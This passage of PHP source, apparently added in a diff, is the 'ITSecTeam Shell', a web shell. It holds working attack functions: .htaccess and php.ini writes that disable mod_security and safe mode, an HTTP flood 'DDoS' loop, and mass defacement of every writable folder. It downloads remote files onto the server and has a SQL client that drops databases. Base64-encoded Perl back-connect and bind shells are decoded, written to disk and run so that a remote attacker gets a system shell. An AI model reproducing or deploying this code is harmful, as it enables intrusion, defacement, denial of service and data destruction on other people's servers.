sizee($size) +{ + if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 . " GB";} + elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 . " MB";} + elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 . " KB";} + else {$size = $size . " B";} + return $size; +} +if($_REQUEST['do']=='about'){ +echo $head."<p align='center'><b><font color=red>ITSecTeam, IT Security Research & Penetration Testing Team</b></font><br>Version 2.1 <br>Last Update : 2010/10/10<br>Coded By : Amin Shokohi(Pejvak)<br>Special Thanks(M3hr@n.S , Am!rkh@n , R3dm0ve , Provider , H4mid@Tm3l , ahmadbady , Doosib )<br>Home Page : <a href='http://www.itsecteam.com'>http://www.itsecteam.com</a><br>Update Notice: <a href='http://itsecteam.com/en/tools/itsecteam_shell.htm'>ITSecTeam Shell</a><br>Forum : <a href='http://www.forum.itsecteam.com'>http://www.forum.itsecteam.com</a><br> +<center> +<PRE> + + ______ ______ ____ ______ +/\__ _\/\__ _\/\ _`\ /\__ _\ +\/_/\ \/\/_/\ \/\ \,\L\_\ __ ___\/_/\ \/ __ __ ___ ___ + \ \ \ \ \ \ \/_\__ \ /'__`\ /'___\ \ \ \ /'__`\ /'__`\ /' __` __`\ + \_\ \__ \ \ \ /\ \L\ \/\ __//\ \__/ \ \ \/\ __//\ \L\.\_/\ \/\ \/\ \ + /\_____\ \ \_\ \ `\____\ \____\ \____\ \ \_\ \____\ \__/.\_\ \_\ \_\ \_\ + \/_____/ \/_/ \/_____/\/____/\/____/ \/_/\/____/\/__/\/_/\/_/\/_/\/_/ + + + + + + +</PRE> + + +".$end;exit; + +} +function deleteDirectory($dir) { +if (!file_exists($dir)) return true; +if (!is_dir($dir) || is_link($dir)) return unlink($dir); +foreach (scandir($dir) as $item) { +if ($item == '.' || $item == '..') continue; +if (!deleteDirectory($dir . "/" . $item)) { +chmod($dir . "/" . $item, 0777); +if (!deleteDirectory($dir . "/" . $item)) return false; +};}return rmdir($dir);} + +function download($fileadd,$finame){ +$dlfilea=$fileadd.$finame; +header("Content-Disposition: attachment; filename=" . $finame); +header("Content-Type: application/download"); +header("Content-Length: " . filesize($dlfilea)); +flush(); +$fp = fopen($$dlfilea, "r"); +while (!feof($fp)) +{ + echo fread($fp, 65536); + flush(); +} +fclose($fp); +} +if($_GET['do']=="rename"){ +echo $head.$formp.$nowaddress.'<p align="center"><input value='.$_GET['filename'].'><input type=hidden name=addressren value='.$_GET['address'].$_GET['filename'].'> To <input name=nameren><br><input type=submit value=" Save "></form></p>'.$end;exit; +} + +if ($_GET['byapache']=='ofms'){ +$fse=fopen(getcwd().$slash.".htaccess","w"); +fwrite($fse,'<IfModule mod_security.c> + Sec------Engine Off + Sec------ScanPOST Off +</IfModule>'); +fclose($fse); +}elseif ($_GET['byapache']=='bysap'){ +$fse=fopen(getcwd().$slash.".htaccess","w"); +fwrite($fse,'Options +FollowSymLinks +DirectoryIndex Persian-Gulf-For-Ever.html'); +fclose($fse); +}elseif ($_GET['byapache']=='sfadf'){ +$fse=fopen(getcwd().$slash."php.ini","w"); +fwrite($fse,'safe_mode=OFF +disable_functions=NONE'); +fclose($fse); +} +if($_GET['do']=="apache"){ +echo $head.$formg.$nowaddress.'<p align="center"> +<select name=byapache> +<option value="ofms">Off Mode Security(.htaccess)</option><option value="bysap">Bypass Symlink(.htaccess)</option> +<option value="sfadf">Disable Safe Mode & Disable Function(Php.ini)</option> +</select><br><input type=submit value=eXecute></form></p>'.$end;exit; +} +if($_GET['do']=="dd0s"){ +echo $head.$formg.$nowaddress.'<p align="center">Address : <input name=urldd0 size=50> Time : <input name=timedd0 size=6 value=40000><br><input type=submit value=" DDoS "></form></p>'.$end;exit; +} + +if($_GET['urldd0'] && $_GET['timedd0']){ +for ($id=0;$$id<$_GET['timedd0'];$id++){ +$fp=null; +$contents=null; +$fp=fopen($_GET['urldd0'],"rb"); +while (!feof($fp)) { + $contents .= fread($fp, 8192); +} +fclose($fp); +}} +if($_GET['do']=="dlfile"){ +echo $head.$formp.$nowaddress.'<p align="center">Download Remote File!<br>Address : <input name=adlr size=70><br>Save To : <input name=adsr value='.getcwd().$slash.' size=70><br><input type=submit value=" Download "></form></p>'.$end;exit; +} +function dirpe($addres){ +global $slash; +$idd=0; +if ($dirhen = @opendir($addres)) { +while ($file = readdir($dirhen)) { +$permdir=str_replace('//','/',$addres.$slash.$file); +if($file!='.' && $file!='..' && is_dir($permdir)){ +if (is_writable($permdir)) { +$dirdata[$idd]['filename']=$permdir; +$idd++; +} +dirpe($permdir); + } + } + closedir($dirhen); + } else { + return ("notperm"); + } + if ($dirdata){ + return $dirdata; + }else{ + return "notfound"; + + } +} +function dirpmass($addres,$massname,$masssource){ +global $slash; +$idd=0; +if ($dirhen = @opendir($addres)) { +while ($file = readdir($dirhen)) { +$permdir=str_replace('//','/',$addres.$slash.$file); +if($file!='.' && $file!='..' && is_dir($permdir)){ +if (is_writable($permdir)) { +if ($fm=fopen($permdir.$slash.$massname,"w")){ +fwrite($fm,$masssource); +fclose($fm); +$dirdata[$idd]['filename']=$permdir; +} + +$idd++; +} +dirpmass($permdir); + } + } + closedir($dirhen); + } else { + return ("notperm"); + } + if ($dirdata){ + return $dirdata; + }else{ + return "notfound"; + + } +} +if($_GET['do']=="perm"){ +echo $head.$formp.'<p align="center">Find All Folder Writeable<br> <input name=affw value="'.getcwd().$slash.'" size=50><br><input type=submit value=" Search "></form></p>'.$end;exit; +} +if ($_POST['affw']){ +$arrfilelist=dirpe($_POST['affw']); +if ($arrfilelist=='notfound'){ +alert("Not Found !"); +}elseif($arrfilelist=='notperm'){ +alert("Permission Denied !"); +}else{ +foreach ($arrfilelist as $tmpdir){ + if ($coi %2){ +$colort='"#e7e3de"'; +}else{ +$colort='"#e4e1de"';} +$coi++; +$permdir=$permdir.'<table cellpadding="0" cellspacing="0" style="border-style: dotted; border-width: 1px" bordercolor="#CDCDCD" bgcolor='.$colort.' width="950" height="20" dir="ltr"> +<tr><td valign="top" height="19" width="842"><p align="left"><span lang="en-us"><font face="Tahoma" style="font-size: 9pt"><a href="?address='.$tmpdir['filename'].'"><b>'.$tmpdir['filename'].'</b></span></td> +<td valign="top" height="19" width="65"><font face="Tahoma" style="font-size: 9pt"></td><td valign="top" height="19" width="30"><font face="Tahoma" style="font-size: 9pt"></td><td valign="top" height="19" width="22"><font face="Tahoma" style="font-size: 9pt"></td><td valign="top" height="19" width="30"><font face="Tahoma" style="font-size: 9pt"></td> +<td valign="top" height="19" width="30"><font face="Tahoma" style="font-size: 9pt"></td></tr></table>'; +} +echo $head.' +<font face="Tahoma" style="font-size: 6pt"><table cellpadding="0" cellspacing="0" style="border-style: dotted; border-width: 1px" bordercolor="#CDCDCD" width="950" height="20" dir="ltr"> +<tr><td valign="top" height="19" width="842"><p align="left"><span lang="en-us"><font face="Tahoma" style="font-size: 9pt"><font color=#4a7af4>Now Directory : '.getcwd()."<br>".printdrive().'<br><a href="?do=back&address='.$backaddresss.'"><font color=#000000>Back</span></td> +</tr></table>'.$permdir.'</table> +<table border="0" width="950" style="border-collapse: collapse" id="table4" cellpadding="5"><tr> +<td width="200" align="right" valign="top" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080"> +<font face="Tahoma" style="font-size: 10pt; font-weight:700"><br>'.$formg.'Change Directory</font></td> +<td width="750" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080"><input name=address value='.getcwd().'><input type=submit value="Go"></form></td></tr><tr> +<td width="200" align="right" valign="top" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080"> +<font face="Tahoma" style="font-size: 10pt; font-weight:700">Upload ---&gt; &nbsp;</td> +<td width="750" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080"> +<form action="'.$me.'" method=post enctype=multipart/form-data>'.$nowaddress.' +<font face="Tahoma" style="font-size: 10pt"><input size=40 type=file name=filee > +<input type=submit value=Upload /><br>'.$ifupload.'</form></td></tr><tr> +<td width="200" align="right" valign="top" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080"> +<font face="Tahoma" style="font-size: 10pt"><b>'.$formp.'Chmod ----&gt;</b>&nbsp;&nbsp;File : </td> +<td width="750" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080"> +<font face="Tahoma" style="font-size: 10pt"><form method=post action=/now2.php><input size=55 name=chmode>&nbsp;&nbsp;Permission : <input name=chmodnum value=777 size=3> <input type=submit value=" Ok "></form></td></tr><tr> +<td width="200" align="right" valign="top" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080"> +<font face="Tahoma" style="font-size: 10pt"><b>'.$formp.'Create Dir ----&gt;</b> Dirctory Name </td> +<td width="750" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080"> +<font face="Tahoma" style="font-size: 10pt"> +<input name=cdirname size=20>'.$nowaddress.' <input type=submit value=" Create "></form></td></tr><tr> +<td width="200" align="right" valign="top" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080"> +<font face="Tahoma" style="font-size: 10pt">'.$formp.'<b>Create File ----&gt;</b> Name File </td> +<td width="750" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080"> +<font face="Tahoma" style="font-size: 10pt"><input name=cfilename size=20>'.$nowaddress.' <input type=submit value=" Create "></form></td></tr><tr> +<td width="200" align="right" valign="top"> +<font face="Tahoma" style="font-size: 10pt">'.$formp.'<b>Copy ----&gt;</b></b>&nbsp;&nbsp;File : </td> +<td width="750"><font face="Tahoma" style="font-size: 10pt"> +<input size=40 name=copyname> To Directory <input size=40 name=cpyto> <input type=submit value =Copy></form></td>'.$end;exit; +}} +if($_GET['do']=="mass"){ +echo $head.$formp.'<p align="center">[Mass Deface]<br><input name=mffw value="'.getcwd().$slash.'" size=50><input name=massname value="def.htm" size=10><br><textarea name=masssource cols=60 rows=18>Source</textarea><br><input type=submit value=" Mass "></form></p>'.$end;exit; +} +if ($_POST['mffw']){ +$arrfilelist=dirpmass($_POST['mffw'],$_POST['massname'],$_POST['masssource']); +if ($arrfilelist=='notfound'){ +alert("Not Found !"); +}elseif($arrfilelist=='notperm'){ +alert("Permission Denied !"); +}else{ +foreach ($arrfilelist as $tmpdir){ + if ($coi %2){ +$colort='"#e7e3de"'; +}else{ +$colort='"#e4e1de"';} +$coi++; +$permdir=$permdir.'<table cellpadding="0" cellspacing="0" style="border-style: dotted; border-width: 1px" bordercolor="#CDCDCD" bgcolor='.$colort.' width="950" height="20" dir="ltr"> +<tr><td valign="top" height="19" width="842"><p align="left"><span lang="en-us"><font face="Tahoma" style="font-size: 9pt"><a href="?address='.$tmpdir['filename'].'"><b>'.$tmpdir['filename'].'</b></span></td> +<td valign="top" height="19" width="65"><font face="Tahoma" style="font-size: 9pt"></td><td valign="top" height="19" width="30"><font face="Tahoma" style="font-size: 9pt"></td><td valign="top" height="19" width="22"><font face="Tahoma" style="font-size: 9pt"></td><td valign="top" height="19" width="30"><font face="Tahoma" style="font-size: 9pt"></td> +<td valign="top" height="19" width="30"><font face="Tahoma" style="font-size: 9pt"></td></tr></table>'; +} +echo $head.' +<font face="Tahoma" style="font-size: 6pt"><table cellpadding="0" cellspacing="0" style="border-style: dotted; border-width: 1px" bordercolor="#CDCDCD" width="950" height="20" dir="ltr"> +<tr><td valign="top" height="19" width="842"><p align="left"><span lang="en-us"><font face="Tahoma" style="font-size: 9pt"><font color=#4a7af4>Now Directory : '.getcwd()."<br>".printdrive().'<br><a href="?do=back&address='.$backaddresss.'"><font color=#000000>Back</span></td> +</tr></table>'.$permdir.'</table> +<table border="0" width="950" style="border-collapse: collapse" id="table4" cellpadding="5"><tr> +<td width="200" align="right" valign="top" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080"> +<font face="Tahoma" style="font-size: 10pt; font-weight:700"><br>'.$formg.'Change Directory</font></td> +<td width="750" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080"><input name=address value='.getcwd().'><input type=submit value="Go"></form></td></tr><tr> +<td width="200" align="right" valign="top" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080"> +<font face="Tahoma" style="font-size: 10pt; font-weight:700">Upload ---&gt; &nbsp;</td> +<td width="750" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080"> +<form action="'.$me.'" method=post enctype=multipart/form-data>'.$nowaddress.' +<font face="Tahoma" style="font-size: 10pt"><input size=40 type=file name=filee > +<input type=submit value=Upload /><br>'.$ifupload.'</form></td></tr><tr> +<td width="200" align="right" valign="top" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080"> +<font face="Tahoma" style="font-size: 10pt"><b>'.$formp.'Chmod ----&gt;</b>&nbsp;&nbsp;File : </td> +<td width="750" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080"> +<font face="Tahoma" style="font-size: 10pt"><form method=post action=/now2.php><input size=55 name=chmode>&nbsp;&nbsp;Permission : <input name=chmodnum value=777 size=3> <input type=submit value=" Ok "></form></td></tr><tr> +<td width="200" align="right" valign="top" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080"> +<font face="Tahoma" style="font-size: 10pt"><b>'.$formp.'Create Dir ----&gt;</b> Dirctory Name </td> +<td width="750" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080"> +<font face="Tahoma" style="font-size: 10pt"> +<input name=cdirname size=20>'.$nowaddress.' <input type=submit value=" Create "></form></td></tr><tr> +<td width="200" align="right" valign="top" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080"> +<font face="Tahoma" style="font-size: 10pt">'.$formp.'<b>Create File ----&gt;</b> Name File </td> +<td width="750" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080"> +<font face="Tahoma" style="font-size: 10pt"><input name=cfilename size=20>'.$nowaddress.' <input type=submit value=" Create "></form></td></tr><tr> +<td width="200" align="right" valign="top"> +<font face="Tahoma" style="font-size: 10pt">'.$formp.'<b>Copy ----&gt;</b></b>&nbsp;&nbsp;File : </td> +<td width="750"><font face="Tahoma" style="font-size: 10pt"> +<input size=40 name=copyname> To Directory <input size=40 name=cpyto> <input type=submit value =Copy></form></td>'.$end;exit; +}} +if($_POST['adlr'] && $_POST['adsr']){ +$url = $_POST['adlr']; +$newfname = $_POST['adsr'] . basename($url); +$file = fopen ($url, "rb"); +if ($file) { + $newf = fopen ($newfname, "wb"); + if ($newf) + while(!feof($file)) { + fwrite($newf, fread($file, 1024 * 8 ), 1024 * 8 ); + } + alert("File Downloaded Success"); +}else{alert("Can Not Open File");} +if ($file) { + fclose($file); +} +if ($newf) { + fclose($newf); +} +} +if($_GET['do']=="down" and $_GET['type']=='file'){ +download($_GET['address'],$_GET['filename']);} +if($_GET['do']=="down" and $_GET['type']=='dir'){ +class zipfile +{ +var $datasec = array(); +var $ctrl_dir = array(); +var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00"; +var $old_offset = 0; +function add_dir($name) +{ +$name = str_replace("\\", "/", $name); +$fr = "\x50\x4b\x03\x04"; +$fr .= "\x0a\x00"; +$fr .= "\x00\x00"; +$fr .= "\x00\x00"; +$fr .= "\x00\x00\x00\x00"; +$fr .= pack("V",0); +$fr .= pack("V",0); +$fr .= pack("V",0); +$fr .= pack("v", strlen($name) ); +$fr .= pack("v", 0 ); +$fr .= $name; +$fr .= pack("V",$crc); +$fr .= pack("V",$c_len); +$fr .= pack("V",$unc_len); +$this -> datasec[] = $fr; +$new_offset = strlen(implode("", $this->datasec)); +$cdrec = "\x50\x4b\x01\x02"; +$cdrec .="\x00\x00"; +$cdrec .="\x0a\x00"; +$cdrec .="\x00\x00"; +$cdrec .="\x00\x00"; +$cdrec .="\x00\x00\x00\x00"; +$cdrec .= pack("V",0); +$cdrec .= pack("V",0); +$cdrec .= pack("V",0); +$cdrec .= pack("v", strlen($name) ); +$cdrec .= pack("v", 0 ); +$cdrec .= pack("v", 0 ); +$cdrec .= pack("v", 0 ); +$cdrec .= pack("v", 0 ); +$ext = "\x00\x00\x10\x00"; +$ext = "\xff\xff\xff\xff"; +$cdrec .= pack("V", 16 ); +$cdrec .= pack("V", $this -> old_offset ); +$this -> old_offset = $new_offset; +$cdrec .= $name; +$this -> ctrl_dir[] = $cdrec; +} +function add_file($data, $name) +{ +$name = str_replace("\\", "/", $name); +$fr = "\x50\x4b\x03\x04"; +$fr .= "\x14\x00"; +$fr .= "\x00\x00"; +$fr .= "\x08\x00"; +$fr .= "\x00\x00\x00\x00"; +$unc_len = strlen($data); +$crc = crc32($data); +$zdata = gzcompress($data); +$zdata = substr( substr($zdata, 0, strlen($zdata) - 4), 2); +$c_len = strlen($zdata); +$fr .= pack("V",$crc); +$fr .= pack("V",$c_len); +$fr .= pack("V",$unc_len); +$fr .= pack("v", strlen($name) ); +$fr .= pack("v", 0 ); +$fr .= $name; +$fr .= $zdata; +$fr .= pack("V",$crc); +$fr .= pack("V",$c_len); +$fr .= pack("V",$unc_len); +$this -> datasec[] = $fr; +$new_offset = strlen(implode("", $this->datasec)); +$cdrec = "\x50\x4b\x01\x02"; +$cdrec .="\x00\x00"; +$cdrec .="\x14\x00"; +$cdrec .="\x00\x00"; +$cdrec .="\x08\x00"; +$cdrec .="\x00\x00\x00\x00"; +$cdrec .= pack("V",$crc); +$cdrec .= pack("V",$c_len); +$cdrec .= pack("V",$unc_len); +$cdrec .= pack("v", strlen($name) ); +$cdrec .= pack("v", 0 ); +$cdrec .= pack("v", 0 ); +$cdrec .= pack("v", 0 ); +$cdrec .= pack("v", 0 ); +$cdrec .= pack("V", 32 ); +$cdrec .= pack("V", $this -> old_offset ); +$this -> old_offset = $new_offset; +$cdrec .= $name; +$this -> ctrl_dir[] = $cdrec; +} +function file() { +$data = implode("", $this -> datasec); +$ctrldir = implode("", $this -> ctrl_dir); +return +$data. +$ctrldir. +$this -> eof_ctrl_dir. +pack("v", sizeof($this -> ctrl_dir)). +pack("v", sizeof($this -> ctrl_dir)). +pack("V", strlen($ctrldir)). +pack("V", strlen($data)). +"\x00\x00"; +} +} +$dlfolder=$_GET['address'].$slash.$_GET['dirname'].$slash; +$zipfile = new zipfile(); +function get_files_from_folder($directory, $put_into) { +global $zipfile; +if ($handle = opendir($directory)) { +while (false !== ($file = readdir($handle))) { +if (is_file($directory.$file)) { +$fileContents = file_get_contents($directory.$file); +$zipfile->add_file($fileContents, $put_into.$file); +} elseif ($file != '.' and $file != '..' and is_dir($directory.$file)) { +$zipfile->add_dir($put_into.$file.'/'); +get_files_from_folder($directory.$file.'/', $put_into.$file.'/'); +} +} +} +closedir($handle); +} +$datedl=date("y-m-d"); +get_files_from_folder($dlfolder,''); +header("Content-Disposition: attachment; filename=" . $_GET['dirname']."-".$datedl.".zip"); +header("Content-Type: application/download"); +header("Content-Length: " . strlen($zipfile -> file())); +flush(); +echo $zipfile -> file(); +$filename = $_GET['dirname']."-".$datedl.".zip"; +$fd = fopen ($filename, "wb"); +$out = fwrite ($fd, $zipfile -> file()); +fclose ($fd); +} +if ($_REQUEST['cdirname']){ +if(mkdir($_REQUEST['cdirname'],"0777")){alert("Directory Created !");}else{alert("Permission Denied !");}} +function bcn($ipbc,$pbc){ +$bcperl="IyEvdXNyL2Jpbi9wZXJsCiMgQ29ubmVjdEJhY2tTaGVsbCBpbiBQZXJsLiBTaGFkb3cxMjAgLSB3 +NGNrMW5nLmNvbQoKdXNlIFNvY2tldDsKCiRob3N0ID0gJEFSR1ZbMF07CiRwb3J0ID0gJEFSR1Zb +MV07CgogICAgaWYgKCEkQVJHVlswXSkgewogIHByaW50ZiAiWyFdIFVzYWdlOiBwZXJsIHNjcmlw +dC5wbCA8SG9zdD4gPFBvcnQ+XG4iOwogIGV4aXQoMSk7Cn0KcHJpbnQgIlsrXSBDb25uZWN0aW5n +IHRvICRob3N0XG4iOwokcHJvdCA9IGdldHByb3RvYnluYW1lKCd0Y3AnKTsgIyBZb3UgY2FuIGNo +YW5nZSB0aGlzIGlmIG5lZWRzIGJlCnNvY2tldChTRVJWRVIsIFBGX0lORVQsIFNPQ0tfU1RSRUFN +LCAkcHJvdCkgfHwgZGllICgiWy1dIFVuYWJsZSB0byBDb25uZWN0ICEiKTsKaWYgKCFjb25uZWN0 +KFNFUlZFUiwgcGFjayAiU25BNHg4IiwgMiwgJHBvcnQsIGluZXRfYXRvbigkaG9zdCkpKSB7ZGll +KCJbLV0gVW5hYmxlIHRvIENvbm5lY3QgISIpO30KICBvcGVuKFNURElOLCI+JlNFUlZFUiIpOwog +IG9wZW4oU1RET1VULCI+JlNFUlZFUiIpOwogIG9wZW4oU1RERVJSLCI+JlNFUlZFUiIpOwogIGV4 +ZWMgeycvYmluL3NoJ30gJy1iYXNoJyAuICJcMCIgeCA0Ow=="; +$opbc=fopen("bcc.pl","w"); +fwrite($opbc,base64_decode($bcperl)); +fclose($opbc); +system("perl bcc.pl $ipbc $pbc") or die("I Can Not Execute Command For Back Connect Disable_functions Or Safe Mode"); +} +function wbp($wb){ +$wbp="dXNlIFNvY2tldDsKJHBvcnQJPSAkQVJHVlswXTsKJHByb3RvCT0gZ2V0cHJvdG9ieW5hbWUoJ3Rj +cCcpOwpzb2NrZXQoU0VSVkVSLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKTsKc2V0c29j +a29wdChTRVJWRVIsIFNPTF9TT0NLRVQsIFNPX1JFVVNFQUREUiwgcGFjaygibCIsIDEpKTsKYmlu +ZChTRVJWRVIsIHNvY2thZGRyX2luKCRwb3J0LCBJTkFERFJfQU5ZKSk7Cmxpc3RlbihTRVJWRVIs +IFNPTUFYQ09OTik7CmZvcig7ICRwYWRkciA9IGFjY2VwdChDTElFTlQsIFNFUlZFUik7IGNsb3Nl +IENMSUVOVCkKewpvcGVuKFNURElOLCAiPiZDTElFTlQiKTsKb3BlbihTVERPVVQsICI+JkNMSUVO +VCIpOwpvcGVuKFNUREVSUiwgIj4mQ0xJRU5UIik7CnN5c3RlbSgnY21kLmV4ZScpOwpjbG9zZShT +VERJTik7CmNsb3NlKFNURE9VVCk7CmNsb3NlKFNUREVSUik7Cn0g"; +$opwb=fopen("wbp.pl","w"); +fwrite($opwb,base64_decode($wbp)); +fclose($opwb); +echo getcwd(); +system("perl wbp.pl $wb") or die("I Can Not Execute Command For Back Connect Disable_functions Or Safe Mode"); +} +function lbp($wb){ +$lbp="IyEvdXNyL2Jpbi9wZXJsCnVzZSBTb2NrZXQ7JHBvcnQ9JEFSR1ZbMF07JHByb3RvPWdldHByb3Rv +YnluYW1lKCd0Y3AnKTskY21kPSJscGQiOyQwPSRjbWQ7c29ja2V0KFNFUlZFUiwgUEZfSU5FVCwg +U09DS19TVFJFQU0sICRwcm90byk7c2V0c29ja29wdChTRVJWRVIsIFNPTF9TT0NLRVQsIFNPX1JF +VVNFQUREUiwgcGFjaygibCIsIDEpKTtiaW5kKFNFUlZFUiwgc29ja2FkZHJfaW4oJHBvcnQsIElO +QUREUl9BTlkpKTtsaXN0ZW4oU0VSVkVSLCBTT01BWENPTk4pO2Zvcig7ICRwYWRkciA9IGFjY2Vw +dChDTElFTlQsIFNFUlZFUik7IGNsb3NlIENMSUVOVCl7b3BlbihTVERJTiwgIj4mQ0xJRU5UIik7 +b3BlbihTVERPVVQsICI+JkNMSUVOVCIpO29wZW4oU1RERVJSLCAiPiZDTElFTlQiKTtzeXN0ZW0o +Jy9iaW4vc2gnKTtjbG9zZShTVERJTik7Y2xvc2UoU1RET1VUKTtjbG9zZShTVERFUlIpO30g"; +$oplb=fopen("lbp.pl","w"); +fwrite($oplb,base64_decode($lbp)); +fclose($oplb); +system("perl lbp.pl $wb") or die("I Can Not Execute Command For Back Connect Disable_functions Or Safe Mode"); +} + +if($_REQUEST['portbw']){ +wbp($_REQUEST['portbw']); + +}if($_REQUEST['portbl']){ +lbp($_REQUEST['portbl']); +} +if($_REQUEST['ipcb'] && $_REQUEST['portbc']){ +bcn($_REQUEST['ipcb'],$_REQUEST['portbc']); + +} + +if($_REQUEST['do']=="bc"){ +echo $head.$formp."<p align='center'>Usage : Run Netcat In Your Machin And Execute This Command( Disable Firewall !!! )<br><hr><p align='center'><<<<<< Back Connect >>>>>><br>Ip Address : <input name=ipcb value=".$_SERVER['REMOTE_ADDR'] ."> Port : <input name=portbc value=5555><br><input type=submit value=Connect></form>".$formp."<p align='center'>Usage : Run Netcat In Your Machin And Execute This Command( Disable Firewall !!! )<br><hr><p align='center'><<<<<< Windows Bind Port >>>>>><br>Port : <input name=portbw value=5555><br><input type=submit value=Connect></form>".$formp."<p align='center'>Usage : Run Netcat In Your Machin And Execute This Command( Disable Firewall !!! )<br><hr><p align='center'><<<<<< Linux Bind Port >>>>>><br>Port : <input name=portbl value=5555><br><input type=submit value=Connect></form>".$end;exit; + +} +function copyf($file1,$file2,$filename){ +global $slash; +$fpc = fopen($file1, "rb"); +$source = ''; +while (!feof($fpc)) { +$source .= fread($fpc, 8192); +} +fclose($fpc); +$opt = fopen($file2.$slash.$filename, "w"); +fwrite($opt, $source); +fclose($opt); +} +if ($_REQUEST['copyname'] && $_REQUEST['cpyto']){ +if(is_writable($_REQUEST['cpyto'])){ +echo $_REQUEST['address']; +copyf($_REQUEST['address'].$slash.$_REQUEST['copyname'],$_REQUEST['cpyto'],$_REQUEST['copyname']); +}else{alert("Permission Denied !");}} +if($_REQUEST['cfilename']){ + +echo $head.$formp.$nowaddress.'<p align="center"><b>Create File</b><br><textarea rows="19" name="nf4cs" cols="87"></textarea><br><input value="'.$_REQUEST['cfilename'].'" name=nf4c size=50><br><input type=submit value=" Create "></form>'.$end;exit; +} + +if($_REQUEST['nf4c'] && $_REQUEST['nf4cs']){ +if($ofile4c=fopen($_REQUEST['nf4c'],"w")){ +fwrite($ofile4c,$_REQUEST['nf4cs']); +fclose($ofile4c); +alert("File Saved !");}else{alert("Permission Denied !");}} + +function sqlclienT(){ +global $t,$errorbox,$et,$hcwd; +if(!empty($_REQUEST['serveR']) && !empty($_REQUEST['useR']) && isset($_REQUEST['pasS']) && !empty($_REQUEST['querY'])){ +$server=$_REQUEST['serveR'];$type=$_REQUEST['typE'];$pass=$_REQUEST['pasS'];$user=$_REQUEST['useR'];$query=$_REQUEST['querY']; +$db=(empty($_REQUEST['dB']))?'':$_REQUEST['dB']; +$_SESSION[server]=$_REQUEST['serveR'];$_SESSION[type]=$_REQUEST['typE'];$_SESSION[pass]=$_REQUEST['pasS'];$_SESSION[user]=$_REQUEST['useR']; + +} + +if (isset ($_GET[select_db])){ + $getdb=$_GET[select_db]; + $_SESSION[db]=$getdb; + $query="SHOW TABLES"; + $res=querY($_SESSION[type],$_SESSION[server],$_SESSION[user],$_SESSION[pass],$_SESSION[db],$query); +} +elseif (isset ($_GET[select_tbl])){ + $tbl=$_GET[select_tbl]; + $_SESSION[tbl]=$tbl; + $query="SELECT * FROM `$tbl`"; + $res=querY($_SESSION[type],$_SESSION[server],$_SESSION[user],$_SESSION[pass],$_SESSION[db],$query); +} +elseif (isset ($_GET[drop_db])){ + $getdb=$_GET[drop_db]; + $_SESSION[db]=$getdb; + $query="DROP DATABASE `$getdb`"; + querY($_SESSION[type],$_SESSION[server],$_SESSION[user],$_SESSION[pass],'',$query); + $res=querY($_SESSION[type],$_SESSION[server],$_SESSION[user],$_SESSION[pass],'','SHOW DATABASES'); +} +elseif (isset ($_GET[drop_tbl])){ + $getbl=$_GET[drop_tbl]; + $query="DROP TABLE `$getbl`"; + querY($_SESSION[type],$_SESSION[server],$_SESSION[user],$_SESSION[pass],$_SESSION[db],$query); + $res=querY($_SESSION[type],$_SESSION[server],$_SESSION[user],$_SESSION[pass],$_SESSION[db],'SHOW TABLES'); +} +elseif (isset ($_GET[drop_row])){ + $getrow=$_GET[drop_row]; + $getclm=$_GET[clm]; + $query="DELETE FROM `$_SESSION[tbl]` WHERE $getclm='$getrow'"; + $tbl=$_SESSION[tbl]; + querY($_SESSION[type],$_SESSION[server],$_SESSION[user],$_SESSION[pass],$_SESSION[db],$query); + $res=querY($_SESSION[type],$_SESSION[server],$_SESSION[user],$_SESSION[pass],$_SESSION[db],"SELECT * FROM `$tbl`"); +} +else + $res=querY($type,$server,$user,$pass,$db,$query); + +if($res){ +$res=htmlspecialchars($res); +$row=array (); +$title=explode('[+][+][+]',$res); +$trow=explode('[-][-][-]',$title[1]); +$row=explode('|+|+|+|+|+|',$title[0]); +$data=array(); +$field=$trow[count($trow)-2]; +if (strstr($trow[0],'Database')!='') + $obj='db'; +elseif (substr($trow[0],0,6)=='Tables') + $obj='tbl'; +else + $obj='row'; +$i=0; +foreach ($row as $a){ +if($a!='') +$data[$i++]=explode('|-|-|-|-|-|',$a); +} + +echo "<table border=1 bordercolor='#C6C6C6' cellpadding='2' bgcolor='EAEAEA' width='100%' style='border-collapse: collapse'><tr>"; +foreach ($trow as $ti) +echo "<td bgcolor='F2F2F2'>$ti</td>"; +echo "</tr>"; +$j=0; +while ($data[$j]){ + echo "<tr>"; + foreach ($data[$j++] as $dr){ + echo "<td>"; + if($obj!='row') echo "<a href='$_SERVER[PHP_SELF]?do=db&select_$obj=$dr'>"; + echo $dr; + if($obj!='row') echo "</a>"; + 